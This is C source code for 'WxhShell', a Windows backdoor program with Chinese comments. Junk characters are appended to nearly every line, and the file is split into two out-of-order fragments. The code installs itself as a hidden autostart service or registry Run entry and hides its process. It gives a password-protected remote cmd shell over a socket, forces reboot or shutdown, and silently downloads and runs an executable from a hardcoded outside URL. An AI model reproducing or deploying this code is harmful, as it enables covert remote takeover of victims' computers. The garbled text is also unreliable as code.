    else { ew"v{=X  
    closesocket(wsh); rXA*NeA3v  
    ExitThread(0); Nbp!teH6  
    } Zh_|m#)  
    break; rk)##)  
    } 9 7ql5  
  // 关机 2(/g}  
  case 'd': { cI=(\pC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~#kT _*sw)  
    if(Boot(SHUTDOWN)) ?.D3'qv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {J^lX/D  
    else { ve\X3"p#  
    closesocket(wsh); H@ t'~ZO  
    ExitThread(0); :>+s0~  
    } I_A@BnM{I  
    break; =2@B&  
    } {#)0EzV6  
  // 获取shell 1&e} ms  
  case 's': { )HX|S-qRU=  
    CmdShell(wsh); L:9F:/G  
    closesocket(wsh); !ET~KL!  
    ExitThread(0); |^A;&//  
    break; F+@5C:<?  
  } p1vp 8p  
  // 退出 zL\OB?)5J  
  case 'x': { KCWc`Oz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -=(!g&0  
    CloseIt(wsh); !H ~<  
    break; $ibuWb"a  
    } ,u/aT5\_  
  // 离开 2Y7)WPn  
  case 'q': { qM.bF&&Go  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c_V;DcZ  
    closesocket(wsh); H=\3Jj(4  
    WSACleanup(); ezMI \r6  
    exit(1); ` P9XqWr  
    break; A* um{E+   
        } [w -l?  
  } 4)("v-p  
  } *f?4   
?`4+cx}n  
  // 提示信息 HB7;0yt`:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x l#LrvxI  
} tQylT0'[+o  
  } 8)4P Ll  
{\(L%\sV@  
  return; %wSj%>&-R  
} }6@pJ G  
B:+6~&,-  
// shell模块句柄 [AW" D3  
int CmdShell(SOCKET sock) ;dzL}@we  
{ }5 (Ho$S(  
STARTUPINFO si; DrO2y  
ZeroMemory(&si,sizeof(si)); t8dm)s[r8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /;utcc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 67VT\f  
PROCESS_INFORMATION ProcessInfo; fF V!)Zj  
char cmdline[]="cmd"; :Cp'm'omb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zib)P&  
  return 0; x(eb5YS  
} 48*Do}l]  
Sx8OhUyux  
// 自身启动模式 wy}k1E'M  
int StartFromService(void) /\W Qx e  
{ !OuWPH. :  
typedef struct b%S62(qP  
{ wV ^V]c?U  
  DWORD ExitStatus; E,f>1meN=  
  DWORD PebBaseAddress; }~Af/  
  DWORD AffinityMask; |K|h+fgG6*  
  DWORD BasePriority; \} ^E`b  
  ULONG UniqueProcessId; Yl.0aS  
  ULONG InheritedFromUniqueProcessId; `2PLWo  
}   PROCESS_BASIC_INFORMATION; C,.Ee3T  
txPIG/  
PROCNTQSIP NtQueryInformationProcess; Vl2XDkhq  
q| LDo~H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <&:=z?30"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^*fxR]Y  
Y]3>7q%  
  HANDLE             hProcess; ]Qe{e3p;  
  PROCESS_BASIC_INFORMATION pbi; ($~RoQ=0S  
]7/ b/J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U_{Ux 2  
  if(NULL == hInst ) return 0; w&%~3Cz.  
Y}vr>\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "&%#!2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5efpeu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bHI<B)=`  
qVs\Y3u(  
  if (!NtQueryInformationProcess) return 0; Usta0Ag  
s\P2Bp_{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @_LN3zP  
  if(!hProcess) return 0; ? mhs$g>  
9,^_<O@Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q/4 [3h  
5A4&+rdU  
  CloseHandle(hProcess); J;prC  
O/!bG~\Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :Pv*, qHE  
if(hProcess==NULL) return 0; P06R JE  
"hy.GWF|*  
HMODULE hMod; R+7oRXsu  
char procName[255]; po}F6m8bX  
unsigned long cbNeeded; C*G=cs\i  
-<_Ww\%8M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U5 r7j  
Wn>@9"  
  CloseHandle(hProcess); 0V!l,pg  
W\L`5CW  
if(strstr(procName,"services")) return 1; // 以服务启动 $*W6A/%O  
NVl [kw  
  return 0; // 注册表启动 36n>jS&  
} LE%7DW(  
SnYLdwgl  
// 主模块 Rtjqx6-B;  
int StartWxhshell(LPSTR lpCmdLine) x+G0J8cW  
{ .E@|D6$D  
  SOCKET wsl; %xQ.7~  
BOOL val=TRUE; -uH#VP{0M  
  int port=0; XhPe]P  
  struct sockaddr_in door; @+WQ ^  
Ia'ZV7'  
  if(wscfg.ws_autoins) Install(); 1HPx|nmE]  
F]I=+T   
port=atoi(lpCmdLine); ZY56\qcY  
c~o+WI Ym  
if(port<=0) port=wscfg.ws_port; EbZdas!l  
w ;e(Gb%9  
  WSADATA data; |~ _'V "  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wap3Kd>MP  
Mzd[fR5a8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >\!4Mk8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 99EXo+g  
  door.sin_family = AF_INET; Cbs5dn(Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dr<<!q /  
  door.sin_port = htons(port); ,]5Ic.};p  
Urgtg37  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1JEnnqu  
closesocket(wsl); .6~`Ubr}E  
return 1; }Up.){.%  
} {w <+_++  
bOI3^T  
  if(listen(wsl,2) == INVALID_SOCKET) { <*EZ@XoN>  
closesocket(wsl); )J(q49  
return 1; Y $-3v.  
} |p00j|k   
  Wxhshell(wsl); Hk7K`9  
  WSACleanup(); ~l~Tk6EM  
4eH.9t  
return 0; _#_ E^!  
A*tKF&U5  
} $c&0F,   
=IKEb#R/  
// 以NT服务方式启动 >`jU`bR@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S|B$c E  
{ rx:z#"?I  
DWORD   status = 0; )$Z(|M4  
  DWORD   specificError = 0xfffffff; /hv#CB>1x  
N]YtLa,t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NV r0M?`4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (5$ZvXx?}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;o<m}bGaT  
  serviceStatus.dwWin32ExitCode     = 0; i.1U|Pi  
  serviceStatus.dwServiceSpecificExitCode = 0; <f~Fl^^8  
  serviceStatus.dwCheckPoint       = 0; vf~`eT  
  serviceStatus.dwWaitHint       = 0; [t0rfl{.  
DW(~Qdk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YH:8<O,{-  
  if (hServiceStatusHandle==0) return; cyd~2\Kv~  
SJgY  
status = GetLastError(); l|/:Ot  
  if (status!=NO_ERROR) P(omfD4  
{ 1MA@JA:T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I]}>|  
    serviceStatus.dwCheckPoint       = 0; 'q%%m/,VPQ  
    serviceStatus.dwWaitHint       = 0; EqM;LgE=  
    serviceStatus.dwWin32ExitCode     = status; z"F*\xa  
    serviceStatus.dwServiceSpecificExitCode = specificError; F#+.>!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $1*3!}_0  
    return; 8)0 L2KL'  
  } 0&fl#]oCE  
5@u~3jPd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _`a&9i &  
  serviceStatus.dwCheckPoint       = 0; QYThW7S  
  serviceStatus.dwWaitHint       = 0; *i<\iMoW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gX} g  
} {8NwFN.  
NO>k  
// 处理NT服务事件,比如:启动、停止 @%W]".*'}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) );}t&}  
{ ;6DnId2Zh  
switch(fdwControl) Rs$5PdH  
{ 7!2 HNg  
case SERVICE_CONTROL_STOP: fnH3 CE  
  serviceStatus.dwWin32ExitCode = 0; !0fI"3P@r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &2.+I go|G  
  serviceStatus.dwCheckPoint   = 0; V_a)jJ  
  serviceStatus.dwWaitHint     = 0; F!8=FTb  
  { @"1}16b#f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m)f|:MM  
  } d bO#  
  return; 30 7fBa  
case SERVICE_CONTROL_PAUSE: g"y?nF.&F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +{rJ[J/g  
  break; A4_>LO_qL  
case SERVICE_CONTROL_CONTINUE: zk>h u<_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,k*F`.[  
  break; cgyo_ k  
case SERVICE_CONTROL_INTERROGATE: &`@M8-m#F  
  break; pT=2e&  
}; #%cR%Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u7muaSy  
} !Z/$}xxj  
,h!X k  
// 标准应用程序主函数 R`Qp d3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0$2={s4ze  
{ ]p$zvMf}  
UB&2f>  
// 获取操作系统版本 od,tfLw4  
OsIsNt=GetOsVer(); NW De-<fQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eU~?p|Np  
2nx9#B*/T  
  // 从命令行安装 :r39wFi  
  if(strpbrk(lpCmdLine,"iI")) Install(); cQ,9Rnfl,  
AM?Ec1S #a  
  // 下载执行文件 l"L+e!B~  
if(wscfg.ws_downexe) { s]bPV,"p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1"$R 3@s;  
  WinExec(wscfg.ws_filenam,SW_HIDE); )G4rJ~#@  
}  h,hL?imD  
(j=DD6fC  
if(!OsIsNt) { &(0N.=R  
// 如果时win9x,隐藏进程并且设置为注册表启动 X X&K=<,Ja  
HideProc(); %1Jd ^[W  
StartWxhshell(lpCmdLine); eE,;K1  
} t 2G1[j!  
else Z~R dFC  
  if(StartFromService()) 5m 3'Gt4  
  // 以服务方式启动 P#F_>GB  
  StartServiceCtrlDispatcher(DispatchTable); r\bq[9dX>  
else y&3TQ]f\  
  // 普通方式启动 9C>ynH  
  StartWxhshell(lpCmdLine); UU"d_~pp  
:o<N!*pT  
return 0; @?vLAsp\  
} 4[xA- \  
7p !zp9|  
@LHtt/&  
j aD!  
=========================================== *XOS.$zGz  
Y 0]Kl^\A  
s8yCC #H"  
X -v~o/r7  
rBS2>?  
j^rYFS w:Q  
" ;h~?ko  
l&$*}yCK  
#include <stdio.h> sD.6"w7}  
#include <string.h> +RdI;QmM  
#include <windows.h> rEg+i@~  
#include <winsock2.h> y 'mlee  
#include <winsvc.h> z6Fun  
#include <urlmon.h> O<bDU0s{M  
)2#vhMpdN  
#pragma comment (lib, "Ws2_32.lib") (UXv,_"nU  
#pragma comment (lib, "urlmon.lib") )< l\jfx e  
v)%[  
#define MAX_USER   100 // 最大客户端连接数 l~4_s/  
#define BUF_SOCK   200 // sock buffer Cv0&prt  
#define KEY_BUFF   255 // 输入 buffer d RHlx QUn  
(K<Z=a  
#define REBOOT     0   // 重启 }FHw" {my  
#define SHUTDOWN   1   // 关机 hyM'x*  
Q +R3H,  
#define DEF_PORT   5000 // 监听端口 #"|"cYi,  
4n#YDZ  
#define REG_LEN     16   // 注册表键长度 0T1HQ  
#define SVC_LEN     80   // NT服务名长度 id3)6}  
 4c  
// 从dll定义API VjC*(6<Gj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .@fK;/OuC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); : x>I- 3G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |*Of^IkG0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <'yf|N!9G  
a|8| @,  
// wxhshell配置信息 r9+E'\  
struct WSCFG { >6*(}L9  
  int ws_port;         // 监听端口 1 ,#{X3  
  char ws_passstr[REG_LEN]; // 口令 +Gk! t]dy  
  int ws_autoins;       // 安装标记, 1=yes 0=no UY1JB^J$  
  char ws_regname[REG_LEN]; // 注册表键名 R5m`;hF  
  char ws_svcname[REG_LEN]; // 服务名 .WBI%ci  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }Q47_]5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9Q,Msl4n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~gSwxGT7d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MMd0O X)P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #;wkr))  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pz5ebhgq  
GS$ZvO  
}; UOn!Y@  
D?iy.Dg  
// default Wxhshell configuration A/ 7r:yO  
struct WSCFG wscfg={DEF_PORT, *p""YEN  
    "xuhuanlingzhe", 83{x"G3>  
    1, $ /}:P  
    "Wxhshell", X{5v?4wI  
    "Wxhshell", ~AEqfIx*^&  
            "WxhShell Service", [ c ~LY4:  
    "Wrsky Windows CmdShell Service", h5LJij J  
    "Please Input Your Password: ", 3g?MEM~  
  1, 2neF<H?^o  
  "http://www.wrsky.com/wxhshell.exe", \e`6=Q%  
  "Wxhshell.exe" r24\DvS  
    }; w/lXZg  
R=][>\7]}  
// 消息定义模块 ]&3s6{R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O\|C,Ep m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7bgnZ]r8t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <7vIh0  
char *msg_ws_ext="\n\rExit."; fK)ZJ_?w,@  
char *msg_ws_end="\n\rQuit."; mp&Le YYn  
char *msg_ws_boot="\n\rReboot..."; O vyB<r  
char *msg_ws_poff="\n\rShutdown..."; (hhdbf  
char *msg_ws_down="\n\rSave to "; 4f@havFIJ  
}vXA`)Ns  
char *msg_ws_err="\n\rErr!"; 0Zc*YdH  
char *msg_ws_ok="\n\rOK!"; 'DL;c@}37  
(&9DB   
char ExeFile[MAX_PATH]; oiTMP`Y  
int nUser = 0; hO+O0=$}wN  
HANDLE handles[MAX_USER]; D{,[\^c  
int OsIsNt; z/eU^2V  
o*O "\/pmF  
SERVICE_STATUS       serviceStatus; .d#G]8suF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E]HND.`*>  
u7WTSL%  
// 函数声明 dVj'  
int Install(void); Y\z^\k  
int Uninstall(void); ;qMnO_ E  
int DownloadFile(char *sURL, SOCKET wsh); ZbZAx:L  
int Boot(int flag); oP|pOs\$p  
void HideProc(void); 3]:p!Y`$  
int GetOsVer(void); 0%A(dJA6  
int Wxhshell(SOCKET wsl); :oon}_MdRd  
void TalkWithClient(void *cs); |mQtjo  
int CmdShell(SOCKET sock); t9f4P^V`  
int StartFromService(void); v)C:E9!|  
int StartWxhshell(LPSTR lpCmdLine); <WHs  
RAv RNd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !7Yt`l$$z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pb/{ss+  
*Lb(urf  
// 数据结构和表定义 |`)V^e_  
SERVICE_TABLE_ENTRY DispatchTable[] = )L(d$N=Bd  
{ XW&8T"q7  
{wscfg.ws_svcname, NTServiceMain}, P$(iB.&  
{NULL, NULL} {g!exbVf  
}; |;Se$AdT#  
PPj6QJ]R0  
// 自我安装 08K.\3  
int Install(void) \MFWK#W  
{ } ^GV(]K  
  char svExeFile[MAX_PATH]; Q:fUM[  
  HKEY key; Y;> p)'z  
  strcpy(svExeFile,ExeFile); .X<"pd*@e  
YCB 3  
// 如果是win9x系统,修改注册表设为自启动 UTK.tg  
if(!OsIsNt) { o+)LcoP u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `~aLSpB65  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9a~BAH,j  
  RegCloseKey(key); s=y9!rr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J,^pt Ql  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <rwOI.W l$  
  RegCloseKey(key); WEV{C(u<k!  
  return 0; C1P t3  
    } rD(ep~^M  
  } 9J;H.:WH  
} ?j4,^K3  
else { XUqE5[O%  
4Utx 9^  
// 如果是NT以上系统,安装为系统服务 h'YcNkM 2>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "w|k\1D  
if (schSCManager!=0) TNPGw!  
{ x]d"|jmVZ  
  SC_HANDLE schService = CreateService IwgA A)H  
  ( ,YMdXYu`s  
  schSCManager, n%ArA])_&  
  wscfg.ws_svcname, +zdq+<9X  
  wscfg.ws_svcdisp, Y`O}]*{>8R  
  SERVICE_ALL_ACCESS, J>|:T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eUw;!Du  
  SERVICE_AUTO_START, HG3>RcB  
  SERVICE_ERROR_NORMAL, I{g2q B$6  
  svExeFile, rgZ rE;*;  
  NULL, A[$wxdc  
  NULL, 36Z`.E>~L  
  NULL, cV!/  
  NULL, &qI5*aQ8T  
  NULL 0!'M#'m  
  ); {FmFu$z+[  
  if (schService!=0) UCj#t!Mw  
  { a3 _0F@I  
  CloseServiceHandle(schService); nu9k{owB T  
  CloseServiceHandle(schSCManager); uy-Ncy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C<=p"pWw  
  strcat(svExeFile,wscfg.ws_svcname); Umwg iw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xY'YbHFz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v*]Xur6e}  
  RegCloseKey(key); }]GK@nn7  
  return 0; +#db_k  
    } Uus)2R7  
  } F5Q. Vh  
  CloseServiceHandle(schSCManager); yhn $4;m  
} ~u`! Gi  
} ?# c@Ag %  
L8K3&[l%  
return 1; n2hsG.4  
} z iGL4c0p  
<:7e4#  
// 自我卸载 u]-El}*[  
int Uninstall(void) -^ ayJ73  
{ qq%_ksQ  
  HKEY key; (V?`W7  
yWk:u 5  
if(!OsIsNt) { knZd}?I*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3:Egqw  
  RegDeleteValue(key,wscfg.ws_regname); ghQsS|)p.  
  RegCloseKey(key); A"ph!* i{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n?fC_dy  
  RegDeleteValue(key,wscfg.ws_regname); e/D\7Pf  
  RegCloseKey(key); Ip\g ^ia  
  return 0; yXl.Gq>]{  
  } Y k6WSurw  
} iZ;jn8  
} J@{ Bv%  
else { xW )8mv?4n  
xx#Ef@bS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }slEkpk? ]  
if (schSCManager!=0) *4\ub:9  
{ au~gJW-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4[j) $!l`  
  if (schService!=0) ~;a* Oxt  
  { Ok"wec+,  
  if(DeleteService(schService)!=0) { X,Q(W0-6$u  
  CloseServiceHandle(schService); TJa%zi  
  CloseServiceHandle(schSCManager); cv&hT.1  
  return 0;  %tjEVQa  
  } )2\a5iH  
  CloseServiceHandle(schService); RT 9|E80  
  } A#\X-8/  
  CloseServiceHandle(schSCManager); UcIR0BYa  
} u(qpdG||7  
} s @9#hjv2  
|LhuZ_;1xo  
return 1; C_;6-Q%V  
} <7h'MNf&  
_z< q9:  
// 从指定url下载文件 c73ZEd+j  
int DownloadFile(char *sURL, SOCKET wsh) {K}+$jzGVt  
{ p_5+L@%Gb  
  HRESULT hr; cwM0Z6  
char seps[]= "/"; EyiM`)!5  
char *token; ^Y!`wp2vn  
char *file; ^^mi@&ApLD  
char myURL[MAX_PATH]; e;v2`2z2  
char myFILE[MAX_PATH]; jk?(W2c#{  
dWEx55>,1  
strcpy(myURL,sURL); \>Q,AyL  
  token=strtok(myURL,seps); F.6SX (x  
  while(token!=NULL) fz\Az-  
  { 6y5~Kh6  
    file=token; 3H2'HO  
  token=strtok(NULL,seps); g.qp _O  
  } gfHlY Q]  
0 $r{h}[^c  
GetCurrentDirectory(MAX_PATH,myFILE); 0Oq1ay^  
strcat(myFILE, "\\"); 6I<`N  
strcat(myFILE, file); UKdzJEhG  
  send(wsh,myFILE,strlen(myFILE),0); KA7nncg;,  
send(wsh,"...",3,0); mD:!"h/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2TO1i0  
  if(hr==S_OK) N[%IrN3  
return 0; -rBj-4|"  
else Tbw8#[6AX  
return 1; y+_U6rv[  
 K!j2AP3  
} j yE+?4w;  
%vI]"a@  
// 系统电源模块 psBBiHB[L  
int Boot(int flag) }T@AoIR0t  
{ Yi3DoaS;"  
  HANDLE hToken; 4-AmzU  
  TOKEN_PRIVILEGES tkp; U8z,N1]r*`  
E^G=  
  if(OsIsNt) { (<t)5?@%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BR*U9K|W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,k4 (b  
    tkp.PrivilegeCount = 1; S!uyplYKF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G9]GK+@&F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6[i-Tl  
if(flag==REBOOT) { mi+I)b=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &F)lvtt|  
  return 0; ]#;JPO#*  
} BQ(`MM@  
else { 6mZFsB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K(hf)1q  
  return 0; 'k hJZ:  
} pq4frq  
  } QAr1U7{(.  
  else { d]<tFx>CQW  
if(flag==REBOOT) { z;LntQZp-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gC?k6)p$N  
  return 0; -Rmz`yOq}  
} #qzozQ4  
else { ^#Shs^#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8"? t6Z;5  
  return 0; Q%6*S!~  
} :`d& |BB  
} ~FJd{$2x`  
U_+>4zdm  
return 1; L(iWFy1& T  
} nI-\HAX  
(%".=x-  
// win9x进程隐藏模块 nlKWZYv  
void HideProc(void) N=(rl#<  
{ ,>)/y  
n-uoY<;hp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0-7xcF@s  
  if ( hKernel != NULL )  RszqDm  
  { SH"O<c Dp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4e* rBTl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mN, Od?q[  
    FreeLibrary(hKernel); \S _ycn  
  } m)&2zV/Q  
}oU0J  
return; rB-&'#3%  
} ,?728pfw  
mI-$4st]  
// 获取操作系统版本 x5s Yo\  
int GetOsVer(void) ZPHB$]ri  
{ v#F .FK  
  OSVERSIONINFO winfo; (Zp'|hx8o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A^xD Axk  
  GetVersionEx(&winfo); nF]lSg&]X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (wkeo{lx  
  return 1; A\YP}sG1  
  else *1|&uE&_R  
  return 0; aVEg%8  
} !gu# #MrJ9  
/g@!#Dt  
// 客户端句柄模块 j8P=8w{  
int Wxhshell(SOCKET wsl) z^bv)u  
{ !c/G'se  
  SOCKET wsh; :T.j;~  
  struct sockaddr_in client; pkQEry&Z  
  DWORD myID; rxJmK$qd  
Qt` }$]  
  while(nUser<MAX_USER) cyL"?vR*<  
{ O8qA2@,  
  int nSize=sizeof(client); qX>mOW^gT8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J sde+G,N  
  if(wsh==INVALID_SOCKET) return 1; {FNmYneh?6  
K 0R<a~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i|2CZ  
if(handles[nUser]==0) ,t2Mur  
  closesocket(wsh); >|IUjv2L  
else nB>C3e  
  nUser++; L;6L@D6  
  } j\@Ht~G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CEzwI _  
4Qwv:4La  
  return 0; ai0am  
} kyR=U`OW  
6ZKSet8  
// 关闭 socket gqw ]L>Z  
void CloseIt(SOCKET wsh) iW oe  
{ !X5n'1&  
closesocket(wsh); ,X^I]]  
nUser--; TuR.'kE@  
ExitThread(0); NFsj ~6F#  
} xQ~}9Kt\  
pQ2'0u5w5  
// 客户端请求句柄 jxeZ,w o  
void TalkWithClient(void *cs) 'wA4}f  
{ 4+?d0  
z"D'rHxy  
  SOCKET wsh=(SOCKET)cs; pd%h5|*n;  
  char pwd[SVC_LEN]; *UxN~?N|  
  char cmd[KEY_BUFF]; #z$g1\v  
char chr[1]; *M^(A}+O  
int i,j; ZF@T,i9  
` b$u w  
  while (nUser < MAX_USER) { ^&8FwV]  
5,vw%F-m  
if(wscfg.ws_passstr) { v2K6y|6,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Gnk8lIsb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VelR8tjP  
  //ZeroMemory(pwd,KEY_BUFF); 2,T^L (]  
      i=0; $*-UY  
  while(i<SVC_LEN) { VUd=|$'J  
e]5 n4"]D)  
  // 设置超时 CQ;.}=j ,  
  fd_set FdRead; LWX,u  
  struct timeval TimeOut; M?[~_0_J  
  FD_ZERO(&FdRead); QtSJ9;eP  
  FD_SET(wsh,&FdRead); 3OZu v};k  
  TimeOut.tv_sec=8; ^E]Xq]vd"  
  TimeOut.tv_usec=0; 8slOB>2#Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3{/[gX9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <<vT"2Q]  
{BI5lvx:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |i~Ab!*8n  
  pwd=chr[0]; F4X0DRC,G  
  if(chr[0]==0xd || chr[0]==0xa) { ,'}qLor  
  pwd=0; :*g3PhNE  
  break; 8n2MZ9p]  
  } $C.;GUEQ  
  i++; Bk44 wz2 X  
    } #)BbW40f6  
^.?5!9U  
  // 如果是非法用户,关闭 socket ;)7GdR^K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8`]1Nt!*B  
} lk(.zYaaN  
!Zi_4 .(4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rY:A LA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N3U.62  
JlMD_pA  
while(1) { FBk_LEcX  
&i{>Li  
  ZeroMemory(cmd,KEY_BUFF); Ho!dtEs  
\2U FJ  
      // 自动支持客户端 telnet标准   iD"9,1@~n  
  j=0; [$iKx6\  
  while(j<KEY_BUFF) { z%0'v`7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uW{;@ 7N  
  cmd[j]=chr[0]; 0; PV gO;9  
  if(chr[0]==0xa || chr[0]==0xd) { mh7JPbX|  
  cmd[j]=0; r0'6\MS13  
  break; YEiQ`sYKG  
  } ;&$Nn'~a  
  j++; %j4AX  
    } {wq~+O  
WUfPLY_c(  
  // 下载文件 N)0V6q"  
  if(strstr(cmd,"http://")) { X8uAwHa6F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %xuJQuCqf  
